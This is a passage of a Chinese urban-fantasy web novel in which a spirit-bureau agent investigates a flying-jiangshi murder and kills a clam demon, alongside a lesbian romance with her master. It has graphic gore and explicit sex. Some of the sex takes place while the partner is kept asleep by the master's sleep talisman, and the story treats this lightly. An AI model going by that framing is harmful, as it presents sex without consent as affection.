灵管局的任务五花八门,捉鬼的任务是最常规的,因为魔气在人间重新出现,引发了很多怪相,除了黑鱼精那样的妖魔杀人以外,有的是离奇失踪,有的是出现海市蜃楼的幻象,都需要人手一一排查。 傅清微接了两次调查任务,有一桩是失踪案。凡是接近某一块区域的人,没有留下任何痕迹凭空不见,手机信号也消失了。傅清微去了以后发现有结界,结界的背后不是妖怪,而是初开了灵智的千年古树。 傅清微进入结界把被困的凡人救了出来,帮树精恢复了清醒。 魔气无孔不入,形势已经到了严峻的地步。 鹤市恶性杀人事件频发,手段残忍,凶手刁钻,人手不够,傅清微处理完邻市的事,连夜被调了回去,初步体会到了占英的辛苦。 穆若水跟着傅清微四处奔波,身份证人脸识别始终是个问题,抽空去拍了个照片,拥有了第一张真正意义上的人类身份证。灵管局的高层过目了一遍,依旧将她的身份信息设为最高机密。 凌晨的二等座车厢,傅清微靠着穆若水的肩膀睡得东倒西歪。 一缕黑雾从车窗缓缓地流下来,在地面小心潜行,它黑洞洞的五官和穆若水对视,僵住,小心翼翼地转了过去,动作变得更加轻微。 砰—— 一道掷出的符箓正中黑雾,符火猛地爆燃,火光霎时照亮了半个车厢。 半梦半醒的乘客惊呆了,使劲揉眼睛以为出现了幻觉。 列车乘务员闻讯匆匆赶来,一位年纪在二十左右,身穿浅色外套,米色工装裤的长腿女生站在那里,眉眼漂亮,却透着严肃的锐气。 年轻女生向她亮出一张证件。 “灵管局傅清微,执行公务。” 她补充道:“如果你没有听说过,可以去问你的列车长。” 乘务员将信将疑,从通讯仪里联系列车长,不一会儿列车长也赶过来了,态度尊敬礼貌,一个劲地感谢她。 傅清微抿了抿唇,说:“我再去其他车厢看看。” 既然都被吵醒了,不如彻底排除隐患。 列车长:“谢谢有关部门的帮助。” 傅清微巡视了十几节车厢,消灭了两缕微弱的魔气,回来坐到穆若水的身边,沉默不语。 魔气由人的欲望而生,欲望无处不在,所以绝大部分都不成气候,像火车上出现的这些,最大的作用可能就是放大人内心的阴暗面,和蛊惑黑鱼精乃至蛟的不可相提并论。 但问题出在太多了,扩张的速度越来越快了。 前几次坐高铁傅清微一次都没遇到过显形的魔气。 即便它们不成气候,但积少成多,会不会汇集到一起,形成新的变数?而那些早就存在的魔气,会不会选择联合起来,不再单打独斗,魔是人的另一面,傅清微觉得很有可能。 它们的目的是什么? 傅清微现在的职级还接触不到此等机密,只能拿出手机及时上报。 科长回复她知道了。 和占科一样,也是个夜猫子。 一入灵管局深似海,人人都是工作狂。傅清微在小群里发个消息,一呼百应,满屏的[烟.jpg]。 学坏一出溜,谁也怪不了谁。 傅清微放下手机,问穆若水:“师尊知道这些魔气作乱的目的吗?” 穆若水摇了摇头。 傅清微眨眼:“师尊竟然也有不知道的事?” 穆若水梳着怀里早就睡着的小三花的毛,说:“为师失忆了,不知道很正常。” 傅清微心知她给自己挽尊,看破不说破。 穆若水皱眉:“不过……” 傅清微:“不过什么?” 穆若水:“我应该经历过,记不清了。” 穆若水的失忆并非完全不记得,她记得自己学过的技能、道法、知识、厨艺,其他都是随处捡起的零碎片段,没有画面,只有一段意识。 她现在的意识只告诉她,她的经历似乎和她的死有关。 所以傅清微再追问,她都闭口不答,确实也记不起更多有用的信息。 “睡觉吧,明天你还要上班。” 穆若水空着的那只手托起她的脑袋,靠在了自己的肩膀上。 傅清微把脸转过来,正对着她的侧脸,趁着车厢安静人少,在她脸颊蜻蜓点水地亲了一下。 穆若水偏头望向她,不辨喜怒。 傅清微坦然和她对视。 最终还是女人败下阵来,认输道:“快睡觉。” 第97章 早上八点。 徐公馆。 花园别墅里三层外三层地围了几圈黄色警戒线, 路过的上班族和跑步健身的停下来在雕花铁门前张望,警察和提着箱子的法医进进出出,每一个人的神情都格外严肃。 爱凑热闹是国人的天性, 即使警方一再驱散人群, 门口依旧堵得密不透风。 徐公馆坐落在繁华商圈附近, 独栋大花园,听说主人还在草坪养孔雀, 令人望尘莫及的地价要的就是一个闹中取静, 现在出了事,生前再富贵的地方也暴露在人们眼下。 “别拍了!”维护秩序的警察走过来, 严厉制止。 “都别拍了!” 所有的警方人员进入以后, 沉重的铁门彻底关上,隔绝了探究的视线。 “出什么事了啊?”后到的人跟着张望。 “不知道,我也是刚到, 大家都在看。” “大早上这么多警察, 应该是出命案了吧。” “最近怎么这么多命案啊?前阵子无头案的凶手抓到了吗?” “抓到了吧,没听说再犯案了。搞得人心惶惶的,晚上都不敢出门。” “是不是外地有什么杀人狂流窜到我们这作案了?以前鹤市治安很好的, 现在隔三差五出事。” “唉,别的地方也差不多,网上看看,都是恶性事件, 还有一家六口都被灭门的,惨绝人寰。” “丧心病狂这些凶手!” “大环境不好, 经济这么差, 社会戾气重是这样的。” “不知道什么时候才能好起来,等下一个周期吧。” “不好意思, 麻烦让一让。”议论声里突然响起一道年轻的清亮女声,许是她生了一副好样貌,又罩了一身与众不同的藏青披纱道袍,拥挤的人潮摩西分海似的,迅速让出一条道路。 傅清微一手拎着刚买的早点,另一只手牵着戴着黑色口罩的穆若水,从中间走过来,不忘向差点被自己的剑柄戳到的路人道歉,来到了黄色警戒线外的警察面前。 她把早点交给穆若水拿着,空出手去掏工作证件,亮在对方面前。 “灵管局傅清微,奉命协助调查。” 她声音放得很低,只有近在咫尺的三人能听见,警员接到命令在这等她,特意被交代过,当即露出欣喜神色,说:“终于来了,我们白副队正在里面等你。” 铁门缓缓从里面打开,只容一人通过的空隙,傅清微和穆若水相继走了进去。 围观的群众:“……” 不是,刚刚进去的是个道士吗? 警方办案现在都要先做法事了?还是请道士占卜凶手啊? 留在外面的警员义正词严地解释道:“刚刚进去的是我们的便衣,请大家不要将视频传上网,勿造谣传谣。” 群众:“哦哦哦。” 警民关系密切,连道观都有警方的人。 徐公馆内。 即使离大门还有很长一段距离,傅清微站在草坪这端的路上,也闻见了空气里淡淡的血腥味。 她现在的鼻子不比以往,除了比普通人灵敏以外,还能闻见从前闻不到的妖气。 唯手熟尔。 然而魔气却没有味道,只能凭眼睛去察觉,或者道行更高一些以后,可以凭直觉感应到。 傅清微从草坪上铺的白玉砖往五层别墅的双开大门走,抓紧时间吃了几口早餐,穆若水给她递来开了瓶盖的矿泉水,傅清微咕咚咕咚地就着水往下咽。 “没有师尊做的好……咳……吃……咳咳咳……” “这种时候就没必要奉承我了。”穆若水淡道,“好好吃饭。” “知……道了……咳,咳咳。” 傅清微停在原地把嘴里的东西咽完,小口地抿着水往前走。 死者的尸体在三楼的卧室,报案人是他在外面和朋友玩到通宵回来的女儿,据报案人称,当时别墅内空无一人,因为她爸爸喜静,所以家里不安排保姆和用人过夜,女儿没有怀疑任何,走到三楼,发现从主卧的房门底下渗出了红色的血。 女儿打开房门,刺激过度的尖叫声持续了一分多钟,现在人还在医院里。 傅清微站在案发现场的房间里,刚刚吃进去的早餐有种呕吐出来的冲动。 她扶了一下师尊的胳膊,忍不住冲出门去,背靠着墙壁捂着嘴巴干呕。 市刑侦支队的白术比她先到好久了,脸色依然是白的。 “傅道长,洗手间在那边。”她体贴地指了一下路。 “谢谢。”傅清微匆忙去了。 一个人的身体里有多少血液?如果把所有的血都刷满墙壁,大概是傅清微见到的场景。 主卧有大片的溅射状血迹,床上地上,天花板墙壁,有的已经泛出干涸的黑色,如果不是挥之不去的浓重血腥味,傅清微第一印象以为是红油漆的恶作剧,下一秒意识到是人血,胃里瞬间翻江倒海。 傅清微从卫生间出来以后,戴了三层口罩进了现场。 尸体支离破碎,已经被警方捡起来拼好抬走了,傅清微看见地面画着的白圈,显示尸体所在的位置,东一块,西一块,好多好多块。 傅清微:“呕。” 穆若水抬手暂时蒙上了她的眼睛,让她把下巴垫在自己肩膀上。 傅清微在她怀里缓了好一会儿,同样戴着三层口罩和手套的白术走进来,向她道:“根据现场痕迹初步判断,死者是在门口正面遭遇了凶手,门板上有喷溅的血迹。” 白术模拟受害者,转身往里面跑,不往外跑估计是凶手正守着唯一的出口。 背面再次受击,血喷出来。 他扑到了床头柜,抄起台灯回击,台灯碎裂在地,凶手的下一次攻击将他砸到了床上,凌乱的床单一摊鲜红血迹。 这是一场单方面碾压的虐杀。 再往后的痕迹太乱,行动顺序可能会有重大偏差,但也不那么重要了。 白术指着天花板的血迹,形状不是喷溅上去的,而是有大片的涂抹状,像是一个血人的身体在上面擦过。 如果不是凶手有独特癖好,特意大费周章利用工具将死者的尸体扛上去擦天花板,那么就只剩下另一个可能。 鉴于最近灵异案件频发,几乎每一桩离奇凶案的背后都有超自然因素的影子,以及现场未发现登高工具,白术从专业人士的角度判断—— “凶手很有可能会飞。” 所以它拎着死者,至少是大部分的死者,将他按在了天花板上,才会制造出这样可怕的现场。 傅清微抬头看着天花板,戴上手套,忍着恶心从墙壁借力,旋身跃上天花板,触碰到血迹周围干净的地方。以她的身手只能在空中停留几秒,是做不到带着个一百多斤的大男人把天花板涂成这样的。 只有像她师尊那样,能够凭空飞起来,才能做出高难度的动作。 是鸟形的妖怪? 傅清微:“白副队,我想看看尸体的照片。” 白副队把警方拍摄的现场照片给她看。 傅清微一看满地的尸块:“呕。” 穆若水看不下去了,说:“你又不会痕迹检验,等她们验完尸把结果告诉你,非要难为自己。” 傅清微现在的胃极其不舒服,血淋淋的她盯不出什么重要线索,把照片还给她:“房子有没有监控?” “有,正在查。” 白术也不想对她一个二十来岁的小姑娘这么残忍,但还有其他线索:“死者养的两只孔雀也死了,要不要跟我去看尸体?” 傅清微小脸煞白:“完整的还是碎的?” 白术:“勉强完整,不过最好还是做好心理准备。” 傅清微跟着白术来到了房屋后面的草坪,两只绿尾孔雀的尸体躺在地上,外形完整,却开膛破肚,内脏都被掏出来,满地的血腥。 傅清微干呕了两声,实在受不了地找了个地方,把吃进去的早餐吐了出来。 胃里只剩下些酸水。 穆若水面露担忧地拍着她的后背,在心里把灵管局和妖怪的仇各记了一笔。 傅清微眼角都咳红了,睫毛湿湿的依偎在穆若水怀里,穆若水正在给她喂水漱口。 喉咙的苦涩好转了许多,傅清微为了让自己从血腥场景里脱离出来,开玩笑道:“要是没有师尊我可怎么办?” 穆若水认真地看着她说:“不会没有我。” 傅清微感动得眼泪顺势出来一颗,她用手擦了擦,说:“好了,我要继续去看尸体了。” 孔雀的尸身伤痕比支离破碎的人体好判断得多,警方鉴定是爪状的利器,在超自然因素上来看,可以去掉“状的利器”四个字,就是爪。 傅清微在现场闻到了妖气的残留,在心里初步下了定论:是鸟妖。 然而事实却不是这样。 徐公馆作为富豪住所,不仅院子和草坪有监控,连客厅都装了红外摄像头,夜晚开着。 不知道是凶手不知道摄像头的存在,还是不放在眼里,子夜时分,堂而皇之地出现在了镜头里。 监控前的傅清微脱口道:“怎么会?” 白术说:“看起来是个人。” 比起黑鱼精那种化形得不彻底的二米五妖怪,凶手简直不要太像个人。身高一七五左右,背影看起来是男性,穿着类似魔法袍的那种长披风,戴着黑色兜帽。 摄像头拍到的侧脸近距离放大,有鼻子有眼,是人类的长相,泛着诡异的青色。 他从客厅跳到楼梯口。 跳? 傅清微说:“等一下,回放。” 凶手又跳了一遍,总共十米的路程,他跳了三次,一次三米多,可以去争奥运记录了。 画面继续,他走上了楼梯,动作略微僵硬,像是提线木偶,但比木偶又灵活一点。 傅清微大为震惊,转过去对穆若水小声道:“师尊,这该不会是……” 穆若水不惊不扰,说:“恐怕你的猜测是对的。” 傅清微又看了花园里的监控,因为凶手行动太快,所以画面有些模糊,只有会动的影子。 也是一跳一跳的。 别说傅清微了,连监控前的警员和白术都看出来了,但凡看过点灵幻电影,都能第一时间联想到。 这不就是传说中的僵尸吗? 而傅清微想的更多一点,会走会跳,不怕人反而杀人,至少是绿僵以上了——上次谷传音她们就在寨子里除了一只,需五人合力,赵阳夏还因此牺牲了。 僵尸在城中杀人,是比单独出现僵尸可怕百倍的事。 它是怎么进城的?为什么会到徐公馆犯案? 是偶然还是和魔气有关? 傅清微眼中的寒芒一闪而过,问道:“有没有死者的资料?” 白术连忙道:“有。我去叫人发过来,你可以先上网搜,他有百科,算是个名人。” 死者徐达旭,本市著名民营企业晟康集团——世界五百强之一的董事长,声望很高,热心公益等等,傅清微略过那些知名企业家之类的辉煌头衔不看,搜索到一则最新新闻,他今天有一场直播,直播间的关注热度不低。 偏偏他死在了昨夜。 也就意味着如果今天他不出现在直播间,他离奇被害、死状凄惨的消息下一步就会传出来,现在网络这么发达,纸包不住火,这件事肯定会闹得沸沸扬扬。 恐慌、猎奇、畏惧……大面积泛滥的负面情绪也会滋养魔气。 所以这很有可能是一起针对性的作案,而不是随机杀人。 如果背后的始作俑者和魔气有关,说明它已经有了智慧,它进化了。 傅清微分析了目前所有的线索,跟着去了趟刑警队,在等法医鉴定结果的同时,向灵管局上报了案情,认为事态复杂,需要局里特别关注。 她的推断都是基于她认知的基础,灵管局站在更全面的角度上,接到消息第一时间召开了视频会议。 调查三处。 申屠副处长坐在首位,对面前的笔记本电脑说:“小谷,你把上次在甸原寨执行任务的发现再说一次。” 谷传音正在出外勤,背景是一片荒山,信号不是很稳定,声音时断时续。 “各位领导好,我在当地的山上,发现几副空着的棺材,尸体不翼而飞,怀疑有人用邪术炼尸,而且应该到了飞僵的层次。副处长,是有新进展了吗?” “是。”申屠副处长回,“二处的傅清微在市里调查一宗杀人案,疑似和僵尸有关。” 她切断了视频,看向在座的同事和下属。 “你们怎么看?” 上次谷传音带回消息以后,申屠副处长极为重视,立刻派人去村寨调查,但是人去楼空已久。附近全是山,人带着僵尸随便往哪个深山老林一躲,就是大海捞针。 换在从前的灵管局,有人使用这么阴毒的邪术,一定会追查到底。如今形势紧张,她们不能无限制地去查,只能守株待兔,等着这位幕后人再露面。 现在出现了,一出手就是杀人案,而且似乎图谋不小。 申屠副处长正在和部门成员讨论,忽然收到一条信息,手指微抬,中断了会议室的声音。 申屠副处长抬头环视诸人,目光严肃:“上级接手了。” 在座的却没有一个如释重负,反而神情愈发凝重。 总局下辖有一个主任办公室,再往下就是各调查处,连调查处都不能处理的话,说明事情严重到了一个地步,至少已转交到了岁主任那里。 还有一个可能,局里对幕后之人心里有数,为了保密和不增添无辜伤亡,所以接手了案件。 前者和后者,哪一个都不能算好消息。 * 傅清微案情是上午上报的,下午被告知不用再跟这个案子了。 傅清微:【为什么?】 科长:【太危险了,局里评估后认为不适合继续跟进,你的命也很重要】 傅清微:【那案子现在由谁负责?】 科长:【母鸡,不在我们科,正好你这段时间辛苦了,放半天假吧,吃点儿好吃的[啾咪]】 傅清微捂着嘴偏头:“呕。” 两人坐在公园里的长凳上透气,穆若水的手伸了过来,轻轻地落在了她的后背。 傅清微上午经历了血腥冲击以后,连中午饭都没能吃下,现在一看到吃字就条件反射想吐。 又是干呕但什么都呕不出来。 傅清微一拳捶向凳子:“我这样和怀孕有什么区别?” 穆若水伸向她的小腹:“我的吗?” 傅清微:“……” 你到底在接什么话啊师尊? 傅清微:“我好饿。” 穆若水:“怀孕的人是这样的,容易饿,要喂饱两张嘴。” 傅清微瞬间想入非非。 她回味半天才醒过来。 ……师尊真的太不正经了。 偏偏总是一本正经地说着让人心猿意马的荤话。 所幸,她好喜欢。 傅清微捧过穆若水的脸,激动得亲了又亲,最后以落在她唇上的一吻而告终。 穆若水擦了擦嘴,眼睫垂敛,象征性说一声:“大逆不道。” 罚又不舍得罚,打更不可能打,只能逞逞口舌之快这样子。 现在傅清微吻技进步得快,她也不是次次都能赢。 傅清微就喜欢她懒散垂眼,拿自己没办法的样子,喜欢死了。 傅清微舔舔唇瓣又凑过来。 穆若水:“差不多得了,该吃饭了。” 傅清微马上应激:“呕。” 穆若水清脆地笑出了声。 傅清微用手轻轻捶了两下她的肩膀。 穆若水假装疾言厉色:“你大胆!” 傅清微才不怕她,哼哼唧唧地往她丰满的胸口钻。 打情骂俏一阵,两个人又抱在一起,傅清微靠在她怀里,穆若水搂着她的腰,并肩坐在公园里。 傅清微好像已经看到了自己的晚年。 要是能和师尊一起老去该有多好,到时候她肯定是个脾气暴躁、气质天下第一好的白发老太太。 不,她应该不会变得那么老,会像灵枢子一样,保持在四五十岁的容貌,依旧穿青袍,系金白两色的细绳腰带,面如美玉,唇若丹霞,仙风道骨。 穆若水在想上午监控里看到的僵尸。 比起傅清微惋惜不能继续跟进,她倒是庆幸傅清微不用再追踪飞僵。 飞僵本质还是僵尸,法力强横但智商不高,这宗杀人案背后肯定有幕后黑手在操纵。以傅清微现在的实力,对上一只飞僵,没有一丝一毫的胜算。 就连穆若水,普通情况下一次只能解决一只,虽然她杀得快,问题不大。但终究不要正面遇到的好,僵尸的样子不好看。 “师尊。” “嗯?”女人低头看她,专注温柔。 傅清微靠在她肩膀,望着湖面问道:“一个人如果修道的话,寿命大概有多长?” 穆若水回道:“无病无灾的话百岁有余,更长的有一两百岁的,不算普遍。” “那我们俩可以在一起一百多年吗?” “……嗯。” “我们要长命百岁,然后白头到老。” 酸涩的感觉突然充满了整个胸腔,穆若水抬手按在了远离傅清微左心房的位置。 如果我的寿命不止一百年,而是一千年,一万年呢? 你的一生,于我不过一个短暂的秋天。 * 蓬莱观。 傅清微刚躺上床便被穆若水迫不及待地按住亲吻。 傅清微向上环住她的脖子和她拥吻,隔着单薄的寝衣彼此的柔软互相挤压,从接吻的间隙中溢出傅清微的阵阵轻吟。 “师尊……嗯……嗯唔……” 她们好久没有亲热过了。 住在外面的酒店时,傅清微再也没有做过梦。 大概是因为道观里的蚊子不好飞去外面。 傅清微和穆若水纠缠的唇舌短暂地分离,挺起上身去迎合她的手掌,又吻了吻女人的唇,抵着她的鼻尖。 傅清微低头,能够看到薄薄睡衣下手指的形状。 聚拢又分开。 夜色很好地掩盖了她羞红的脸。 穆若水也看着。 很漂亮。 不管是她现在捧着的,还是她身下躺着的,都漂亮。 永远属于她就好了。 傅清微半阖着眼,承受着她时轻时重的温柔对待,轻轻地咬着女人的下唇,女人的指尖夹着她,她就会闷哼一声,倒向枕头里。 穆若水一直在亲她,手也一直没停。 “师尊……”傅清微断断续续地喘,问她,“你怎么不说话?” 穆若水的回应是埋首到她颈侧,湿热啄吻后,往上含住她的耳垂。 她的指腹同时用力快速。 傅清微浑身一抖,张嘴,瞬间尝了满口的软舌芬芳,穆若水紧紧地缠着她,把她所有极致的呜咽都吞进了自己的口中。 傅清微泪水都出来好几颗,都被她用舌尖舔去。 “清微。” 失去意识的前一秒,傅清微听到了女人沙哑的嗓音,别样性感。 她真的不要再……睡着了…… 傅清微睡着了。 她的美梦才刚刚开始。 * 傅清微睁开了眼睛,望着木床的帐顶发呆。 好涨。 顶着真丝睡衣的尖端还有点疼,不知道昨夜师尊又折磨了她多久。 梦里不知时间流逝,只记得一遍又一遍地含和咬,该不会破皮了吧? 傅清微坐起来,解开扣子往里看:“……” 真的,很少有人刚起床这么饱满。 但她做到了,都是师尊勤勤恳恳的功劳。 心脏一直在扑通剧烈地跳,似乎深处也在收缩跳动,刚刚醒来的浑身清爽马上又要变得粘稠了。 傅清微意犹未尽地止住自己的梦境回忆,起身去洗漱。 小三花在房间里,傅清微用脚陪她玩了两圈,侧身从窗户看到穆若水在屋檐下站着的身影。 这次她应该不会跑了吧? 傅清微照镜子,硕果累累,不仅脖子上点点红印,她撩开前襟,里面的罪证也不少。 师尊到底是忍不住了。 傅清微来到院子里,将领口拉下来,指着锁骨的粉红印记对穆若水说:“师尊,这总不是蚊子咬的吧?” 穆若水青袍半掩,腰带未束,懒洋洋靠在道观的后院廊柱,半睡不醒的眸子睁了一下。 她说:“兴许呢?” 第98章 傅清微盯着师尊未束的腰带, 青袍松垮垮地挂在身上,再往上眼帘半阖,没骨头似的靠在柱子上。 “兴许呢?” 她懒洋洋的声音拖长了调子, 平时很少用这种语气说话, 挠得人心尖发痒。 女人微微侧了一下头, 烟视媚行,眉眼间有种餮足后的慵懒感。 傅清微:“……” 傅清微按着自己扑通跳的心口, 感受着迟迟未散的饱胀感, 突发一念,问:“师尊什么时候起的?” “比你早起半个小时。” “那师尊何时就寝的?” “这个嘛……”穆若水在心里想, 编个什么答案好呢? 没错, 她们早上刚刚才来了一次。 穆若水醒的时候,傅清微正睡在她怀里,昨晚给她穿好的衣服被她自己睡相不好蹭得衣襟大敞。 穆若水把手放了上去, 亲亲摸摸揉揉。 两只手拢着挤在一起, 低头同时含住一吸。 傅清微心口剧烈起伏,一个劲往她怀里钻,柔软得像柳条一样的腰肢紧绷, 抵着她的腰腹。 上身则挺起来,迎合她温热的口腔。 穆若水的舌尖一边打转,一边按在她颈后的昏睡穴。 安睡符的效果太久,她怕傅清微早晨睡过头。 几分钟后, 穆若水起身给她清理,自己顺便起了床, 但血液快速流动的温度降不下来, 她就没系腰带,散了青袍, 在院子里吹风。 她觉得傅清微是喜欢早上做的,比晚上到得更快。 不知道这个事她自己有没有察觉。 “师尊?” 穆若水想远了,脑海里全是她脸色潮红的画面,膝盖一顶,她就在她眼前晃动。 顶一次,晃一次,又乖又诚实的反应,是逐渐润湿她膝盖的水迹,越来越急促难耐的气息。 可惜不能睁开眼看看自己。 “怎么?”她偏了偏头。 “我刚刚问,师尊是何时就寝的?” “你睡了我不就睡了么?”穆若水依旧是那副倦怠未醒的样子,声音和她的身子一样软。 可傅清微就是有一种强烈的事后感。 然而她没有证据。 除了她自己模糊的被做过的直觉。 得想个办法解了师尊的安睡符。 傅清微正好有一计,但她们俩昨晚刚发生关系,她现在提出来容易被穆若水怀疑,她需要等一个合适的机会。 灵管局的任务那么多,总有机会送上门来。 半个月后,傅清微接到一个蜃妖的任务,和其他组合作除妖,不仅需要下水,而且要谨慎提防蜃妖制造的幻境。 灵管局派了十几个人,两名科长亲自带队,足以证明任务的艰巨,随时会丧命。 不等傅清微主动提出,穆若水亲自勾兑朱砂,提笔给她画了三道醒神符,让她贴身防水佩戴。紧接着又在她背上、额头能画的地方都画了符,生怕在水里她照应不及,傅清微死在幻境里。 醒神符的作用从名字就能看出来,不仅可以抵御各种幻象,任何情况都能在神思混沌时保持清醒。 任务比傅清微想象的更艰难,差一点就全军覆没,如果穆若水没有跟着一起去的话。 穆若水对人类死在她面前无动于衷,但她见不得傅清微的眼泪,同去的有好久不见的龙璇玑和肖灵秀,和傅清微现在的直属上司,也是个二十多岁的女孩子。 龙璇玑是桃树成精,天生辟邪,幻术对她的作用大打折扣,即使不小心被拉进去,她一片赤子之心无懈可击。 肖灵秀被困入幻境,双目紧闭束手就擒,不知道哪里伸出来的触手将她紧紧地包裹,一直拖往水底深处。 傅清微游过去,毫不犹豫地把穆若水给她的保命符拍了一张到她身上,咬破指尖,用血在她额头抹了一下。 “醒!” 肖灵秀耳边振聋发聩,瞬间清明。 长剑划开触手,傅清微转头去救她的科长。 转眼她就剩一张醒神符了。 如果穆若水不出手除掉蜃妖的话,能活着回去的只有她、龙璇玑和傅清微。 她的科长和肖灵秀,所有的同事都会死。 傅清微不知道要伤心多久。 上次蛟祸死两个素未谋面的同事她哭了半个晚上。 穆若水烦躁地抿唇。 ……最终还是被灵管局薅到了她这个劳动力。 穆若水从傅清微身后拥住她的腰。 傅清微:“???” 穆若水的手指搭在她小臂,顺着她的手腕旖旎摸到剑柄,轻巧地夺了下来,头也不回地向海底潜去。 偌大的蚌精栖息在水底,呼出的气成了盘旋而上的云雾,也是困住灵管局众人的罪魁祸首。 穆若水一直沉到最底下,将长剑咬在口中,徒手掰开大蛤的贝壳,不知她那双肉掌有多大的力气,竟硬生生将紧闭的边缘锋利的蚌壳掰出了一条漆黑的缝隙。 灵管局十余人都听到了大蛤企图打滚的哀嚎,以及它在穆若水手下想挣扎逃开的背影。 穆若水把长剑送进缝隙,在剑柄打了一掌,剑身霎时齐柄没入壳内。 她也可以徒手杀蜃妖,只是不想用碰傅清微的手去碰别的脏东西。 穆若水一个念头,催动剑意。 蚌壳内剑芒骤亮,不断地扩大,耀眼的白光笼罩了整座水域。 蜃妖原先停留的地方被剑光涤荡,白光散去后,什么都没剩下。 众人目瞪口呆。 就这么轻松地……解决了? 长剑自动飞回傅清微身后的剑鞘,穆若水背手从水底升了上来,直上直下,跟海底电梯似的。 肖灵秀:“……” 这下又让穆道友装到了。 傅清微又又又被师尊迷倒。 龙璇玑用桃枝扶了一下她的腰,将她送到穆若水的面前。 穆若水顺势抱住她,带着她往水面上游,傅清微一条胳膊受了伤,行动不方便。 水面有一艘灵管局停着的游艇,众人挨个沿舷梯爬上甲板,湿淋淋地原地躺下,气喘吁吁,水都流在了甲板上。 龙璇玑正在巡回治伤,伤势从重到轻。 穆顾问扶着傅清微靠在甲板边缘坐下,冷哼说:“灵管局真是一届不如一届了。” 被集体扫射的众人:“……” 但是见过她利落出手,不得不服,实力堪比岁主任。就算她指着他们的鼻子挨个骂废物点心,众人也只能低头默认。 穆若水是生气傅清微左手小臂骨折,但她不能骂傅清微,只好把气撒到其他人身上。 灵管局一帮废物,资历老的那么多,要让傅清微一个新人冲在前面。 虽然傅清微是自愿的。 傅清微拉了拉她的衣袖,小声说:“师尊。” 穆若水见她脸色煞白,态度一百八十度大转变,关怀备至:“怎么了?是不是手疼了?” “有一点。”傅清微脸贴着她的胸口说。 “龙璇玑!” 穆若水不擅长治骨折,祝由术效果不佳,立刻抬头叫住那个穿梭的小号道袍身影。 龙璇玑飞快把手里的伤患处理好,迅速赶过来。 “娘……傅道友,你忍着点。” 龙璇玑先给她喂了一粒丹药,伸手摸到她骨折移位的地位,动手给她正骨。 傅清微疼得汗如雨下,鼻息吐气,齿尖死死地咬住自己的下唇。 穆若水松开她的齿关,发白的唇瓣一片狼藉,将自己的手掌抵在她舌头和牙齿之间。 傅清微实在忍不住,在她掌心和手背留下深深的牙印。 穆若水另一只手蒙住她的眼睛。 傅清微自觉依偎得近一些,呼吸间只剩下她近在咫尺的香气。 终于上好夹板固定,甲板上围着傅清微落了一地湿润的桃花。 龙璇玑两只手抹了抹脸上的泪,递给穆若水另一瓶丹药,说:“每日一粒,连服十天。” 穆若水接过,为数不多的好脸色:“有劳小大夫。” 傅清微说:“怎么哭成这样?”连忙用完好的那只手伸进穆若水袖子里掏纸巾。 龙璇玑说:“小时候就这样,娘亲让我不要改。” 傅清微真心道:“很可爱。” 龙璇玑破涕为笑。 她上辈子也这么说过。 “我去照看其他人了。娘亲。” “去吧,小大夫。” “好!” 龙璇玑蹦蹦跳跳地走进了甲板中间,蹲在地上给同事查看伤情。 傅清微不是第一次骨折,练功很苦,会有意外,她为了婆婆不担心她咬牙说不疼。可到底是个二十出头的女生,去年这个时候她还是个平凡女大,最大的烦恼就是马上升大四了,万一找不到工作怎么办? 现在她躺在喜欢的人怀里,被无微不至地照顾着,手臂传来阵阵疼痛,终于忍不住落下两颗眼泪。 “师尊,我疼……你抱抱我……” 穆若水小心翼翼避开她受伤的胳膊,紧紧地将她抱在了怀里。 风平浪静,游艇破开一条雪白的水道,开上回程的路。 “出彩虹了。”甲板上忽然有人说道。 傅清微回头望去,她们杀掉蜃妖的地方,架起了一道七彩的虹桥,水面波光粼粼,涟漪如涌动的碎金,在众人的视线里不断远去。 此次任务幸好有穆若水出手,龙璇玑的药起效快,救治及时,只有重伤的,没有送命的。 但不是每组队伍都有这样的幸运。 即使傅清微不特意关注,灵管局为了不打击士气,将官方邮件的讣告调整,不再及时推送,改为定期更新名单,傅清微也知道不断有人死在出任务的路上。 是她在局里匆匆擦肩的同事,或是素未谋面的战友。 任务之后几天,官方邮件就更新了一个月以来的牺牲名单和黑白照片,除了总局,还有各分局、办事处。傅清微滑了好几页才将页面滑到底,久久不语。 穆若水以为她又要以泪洗面,肩膀和衣服都准备好了,傅清微抱了她好一会儿,一滴泪也没有流。 晚上二人躺在床上睡觉,穆若水听见身边的响动,傅清微从床上起身,绕过外侧睡着的她,一身寝衣,提着剑出了房门。 穆若水跟在后面,一路见她进了密林里的结界,消失在视线里。 穆若水在树上守着,天蒙蒙亮时她才出来,满头是汗,穆若水先她一步回了道观,躺到了床上。 傅清微轻手轻脚地又睡在了她的身边。 她侧着身子,手搭在女人的腰上,额头轻轻抵着她的肩膀睡去。 * 傅清微因为毕业典礼和手臂骨折的事撞在一起,再次拥有了一段长达半个月的假期。 她在蓬莱观养伤,龙璇玑送的药堆了一个架子,小大夫每日早晨还会视频问诊,穆若水看在她是大夫的份上,收了自己的醋劲,不时出现在傅清微的镜头里秀恩爱。 傅清微的三张醒神符还剩下一张,穆若水没有要回去,估计已经忘记这回事了。 她更没有想过,傅清微打算用这张符来反克她的安睡符。 以她之矛,攻她之盾,醒神符有实体,而安睡符只是她虚空画的,傅清微有百分之八十的把握,醒神符更胜一筹。 到时候穆若水再把她按在床上,对她为所欲为,她就把符压在枕头底下。 再不行就藏进睡裤里,反正师尊从来不脱她裤子。 但这段时间傅清微的手受了伤,穆若水一直在照顾她,半点越界的行动都没有,实在忍不了只摸一摸,隐忍克制。两人成日睡素觉,傅清微暂时没有检验效果的机会。 进入夏季,午后的蝉鸣忽然变得聒噪,自树叶缝隙投下的日光也刺眼。 扑棱着透明翅膀的蝉扯着大嗓门在树上嘶叫,势要将屋内睡午觉的年轻女人吵醒,豆大的雨点砸在蝉脑袋上,差点一个趔趄栽下树去。 噼里啪啦的雨打在树叶上,落进泥土里,蝉噪节节败退,最终偃旗息鼓,不甘地躲雨去了。 雨声笼罩天地,微风吹拂,蒙蒙的细雾从开着的窗户飘进去。 傅清微舒展开眉头。 穆若水悄悄地离开了房间,来到檐下观雨。 丝线一样的无根水从天而降,一滴一滴汇聚在白墙黑瓦的屋檐,滴落在墙根的石板和青苔,回荡着岁月重叠的余音。 给猫喝水的小碗也接了大半碗的水,小三花在屋檐下蹲着,手贱去玩碗里的水,被天上的雨淋得毛都茸茸的,欢快地跑来跑去。 傅清微不知何时睡醒起来了,趴在窗口看穆若水斗智斗勇地逮猫,终于大毛巾落在猫脑袋上一顿揉。 傅清微轻轻地笑出了声。 